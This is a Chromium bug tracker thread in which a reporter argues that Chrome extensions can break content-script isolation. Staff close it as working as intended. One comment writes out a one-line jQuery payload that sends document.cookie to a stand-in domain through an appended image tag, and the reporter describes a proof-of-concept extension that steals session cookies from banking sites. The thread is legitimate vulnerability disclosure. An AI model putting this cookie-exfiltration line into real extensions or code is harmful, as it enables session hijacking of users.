New issue
Advanced search Search tips

Issue 760419 link

Starred by 2 users

Issue metadata

Status: WontFix
Owner:
Closed: Aug 2017
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Windows , Chrome , Mac
Pri: ----
Type: Bug



Sign in to add a comment

Security: Un-sandboxing of parent page javascript variables (window, document, cookie, etc) using Chrome extensions

Reported by kentpyt...@gmail.com, Aug 30 2017

Issue description

VULNERABILITY DETAILS
This is a Chrome extension exploit that bypasses the JavaSCript variable sandboxing that is supposed to be in place.  It is actually quite simple to do, and I came upon it while writing an extension where I was trying to trigger a jQuery "tap".  All of the events on the page I was dealing with were bound using "tap" instead of "click".  If it were a click, I could have just gotten the root DOM element with jQuery, and did a native JS .click().  However, there is no such thing for tap(), and on desktop, .click() doesn't trigger "tap".  After trying to simply use jJquery to get the element and ".trigger('tap')", I came to the realization (after googling) that JS variables are sandboxed between the parent page and the extension.  So I was stuck.  For a while.  I eventually figured out how to get the parent page's jQuery reference, and do whatever I needed to do.  

This led me to think that I had stumbled upon something somewhat serious.  There's a reason those variables are sandboxed.  So you can't just access things like document.cookie, right?  So, what I did is created a proof of concept extension that reads ANY parent page cookie object, and then appends and IMG tag to the HTML, which would, in theory, send the contents of the cookie variable anywhere I want (in this case, a fake domain).

  

VERSION
Chrome Version: Version 60.0.3112.113 (Official Build) (64-bit)
Operating System: MacOS Sierra 10.12.6 (16G29)



REPRODUCTION CASE
I have attached the proof of concept extension for you to play with.  It doesn't submit anything anywhere real, but shows that it's very easy to do.  All you have to do is install/enable the extension and then watch your console or network traffic for requests to "averynotrealdomain.com".  They will show in the console, because that's not a real domain, and it errors.  The small amount of code required should be commented well enough for anyone to understand what's happening.  Essentially, the extension appends an empty iframe to the DOM, and then writes some JavaScript to it that has access to the parent window via window.opener because the iframe was never opened with a protocol or domain, so the browser thinks it belongs to the parent.  Ooops!

Occasionally, some sites (this one included) will give the message "Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy Directive...  However, on most sites, the POC works just fine...including all three of my banks.  Chase, US Bank, and Bank of America.  I feel like tweaking the CSP in the manifest would eventually solve this, but I think my POC proves that these policies don't always work anyway, so I am submitting the bug without doing that.



SUGGESTED FIX
Well, a couple of things, but I am not sure how hard they are to add.  Don't allow the creation of "anonymous" iframes via extensions.  Or, don't allow the document.write-ing of any JavaScript, really.  Anyone doing that is probably up to no good.


FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
This is not a crash-causing bug, but a security hole.

 
one_nasty_extension.zip
67.2 KB Download
So a quick look into the CSP for this site shows why it doesn't work here.  I would still stand behind this being a bug/flaw/security hole, as most sites are not defining this header.  As I mentioned, this thing worked on all of my bank sites, which is really scary.
Components: Platform>Extensions
I think this boils down to a misunderstanding of how Content Scripts work and what the "Isolated world" concept is meant to protect. The goal of the "Isolated world" is not to protect the loaded web page from the extension's content script, but instead the opposite-- to help limit attacks on the extension from the loaded web page. It's absolutely expected that the extension can get to the page's document.cookie, for instance. You'll note that when you install the extension, it requests the permission "Read and change all your data on the websites you visit."

See https://developer.chrome.com/extensions/content_scripts for more details.

The fact that a content script may sometimes be impacted by the web page's CSP is actually a bug; see Issue 181602.
OK, I think we have a completely different opinion of what that page says.  And at the risk of sounding like everyone on the internet these days, I am pretty sure I am right about this.

YES, content scripts have the ability to modify pages.  They have the ability to read manipulate the DOM.  That is really all.  Quoting the page you sent me, they CANNOT:

"Use variables or functions defined by their extension's pages
Use variables or functions defined by web pages or by other content scripts"

I have proven both of these statements to be untrue, as I have accessed the root document variable as well as any page's jQuery reference (not the jQuery reference of the extension (please see the code).

Furthermore, I have done this without the proper use of CORS headers that would allow cross-origin scripts to run.

Reading further down the page, it says:

"Execution environment
Content scripts execute in a special environment called an isolated world. They have access to the DOM of the page they are injected into, but not to any JavaScript variables or functions created by the page. It looks to each content script as if there is no other JavaScript executing on the page it is running on. The same is true in reverse: JavaScript running on the page cannot call any functions or access any variables defined by content scripts."

Again, I have gotten around this whole principle using a simple inline script/iframe hack.  The whole reason it works is because the iframe is never created or opened with JS with a protocol or domain, so the browser mistakenly thinks it belongs to the parent page, and not the extension (this is my theory, anyway).  Thus, allowing window.opener to access EVERYTHING from the parent page.

Please reconsider this as a major, major security flaw.  In no reasonable world would you ever want an extension to be able to access the parent page's cookies and broadcast them so easily as I have done here.  Regardless of any user agreement.  Everything that the page you sent me says that this is not possible.  Especially without the use of proper CORS standards.
Owner: rdevlin....@chromium.org
Status: Assigned (was: Unconfirmed)
rdevlin: do you mind taking a look and weighing in here?
Thanks.  I really do hope you install the extension and just look at network traffic and the console.  I don't have it submitting anywhere real, so it's not actually doing anything nefarious.  But it easily could.  Writing an endpoint to consume cookies for every site that the user goes to would not be hard.  And it's all done without any user interaction whatsoever.  This code could easily be baked into any useful-looking extension.

I forgot to mention my point about CSPs.  The reason that THIS site disallows it, is again, because the browser mistakenly thinks the "anonymous" (I dunno what else to call it) iframe belongs to the parent, and this site has a CSP that disallows inline script blocks.  Sadly, most sites on the internet do not (because it's hard to write any useful site without some inline JS, and writing CSPs to make it work would suck).  

I have tested this extension on several sites that I would hope it wouldn't work on, and it did.  Including:  US Bank, Bank of America, Chase, MyUHC, Express Scripts and other Google-owned sites like Gmail, Web Store, and Google Analytics.  After logging on, all of the sessions cookies easily hijacked and sent to my fake collector.  Very scary!
Re #3: I think there's a fair point to be made that the documentation can be misinterpreted when it says "They have access to the DOM of the page they are injected into, but not to any JavaScript variables or functions created by the page."

With read/write access to the DOM of a page, a content script can inject a block of non-isolated script that executes within the context of that page.

> In no reasonable world would you ever want an extension to be able
> to access the parent page's cookies

Powerful extensions are powerful; there's a reason that the permission required by this extension is described as "Read and change all your data on the websites you visit."
So some further tinkering around, and I see 2 things.  

1 - None of my hack is even needed to access the page's "document".  Apparently, document is scoped to the page and not the extension.  So something like this, just works?

$("body").append("<img src='https://averynotrealdomain.com/img.gif?c=" + encodeURIComponent(document.cookie) + "'>");

That seems absolutely crazy to me, but that one line of code does everything my super fancy extension does.  However...

2 - circling back to what I originally discovered my "hack" was to access variables that existed in the scope of the page, not the extension.  What you're saying is that simply document.write-ing a script block with these variables will work?  When I try to document.write any JS (even just a simple hello world), the page goes blank when it loads.  Is that intentional?  I remembered trying this when I was doing this before, which is why I think I ended up with the iframe option.  Which then made me figure out how to trick the browser into window.opener working...which then made me freak out about all of the other things it could have access to.

So, if the document.write-ing of <script> blocks intentionally blanks the page out (I've tried this on several sites, and it's what it seems to do...load for a second and then just go blank when the js is written), then what I have here is still kind of a workaround, and honestly, they document.write-ing of JS to do this in the first place really shouldn't be allowed, which was kind of my original point.
...(sorry hit save too quick) because it allows you to do something that your documentation explicitly states you should not be able to do.
In the web platform, if you document.write into a document in readyState==DONE (e.g. after the load completes), the platform acts as if you did

  document.location="about:blank"; 
  document.write("whatever_you_wrote");

To update a completed DOM, you can't use document.write, you must instead use the appropriate DOM APIs, e.g.

  var a = document.createElement("img");
  a.src = "https://example.com/whatever";
  document.body.appendChild(a);

This updates the DOM without wiping it out.

The intention of the prose in the documentation is to help extension authors understand the concept of Isolated Worlds and that their Content Scripts do not *directly* have access to the script state (functions and variables) of the page on which the extension is running. That prose is NOT intended to suggest that there's any sort of barrier between the content script and the script state of the page that would preclude the Content Script from deliberately interacting with the script state of the page by adding JavaScript into the page.  
Right, that does make sense (document.writing after loaded...jQuery has made me lazy in the ways of traditional JS).  

It's still very interesting to me that this works.  I understand what you're saying about the documentation, but in my trying to work through the extension I was writing, this information is nowhere to be found on the net.  At least in the context I was searching (triggering a "tap" event on an element).  Every article, s/o post, etc. I found said nope, it's isolated, cant do it.  When it turns out it's really pretty simple to do.  I personally feel everything should be isolated, and the fact that it's this easy to get around it is relatively scary.  I really though tI had stumbled on something.  No bug bounty for me!  ;)
Labels: -Type-Bug-Security -Restrict-View-SecurityTeam OS-Chrome OS-Linux OS-Mac OS-Windows Type-Bug
Removing security labels based on the discussion above. I'm going to leave this open for Devlin to take a look, though -- maybe there are some documentation improvements to be made?
Status: WontFix (was: Assigned)
This is working as intended.  elawrence@ summed it up very well in #2 - isolated worlds are only meant to isolate the extension from the web page, and not the other way around.  Extensions, if they want, can always execute in the main world context, and nothing is sacred or protected from that extension.  This *does* mean that the extension can access private and protected data and do whatever it wants with it (including sending it to a server).  This isn't limited to cookies; it also includes passwords, bank account numbers, etc.

Extensions can also always manipulate the main world, including having scripts execute in the main world.  The easiest way to do this is by just having the content script add a <script> tag, which will execute in the same context as the page's V8 context.
Yep makes sense.  I think you should update your documentation to say that this is possible to save people some headache trying to get it to work.  You should probably also try to protect certain things like document.cookies.  There's really no good that can come from letting the extension mess around in there.

Sign in to add a comment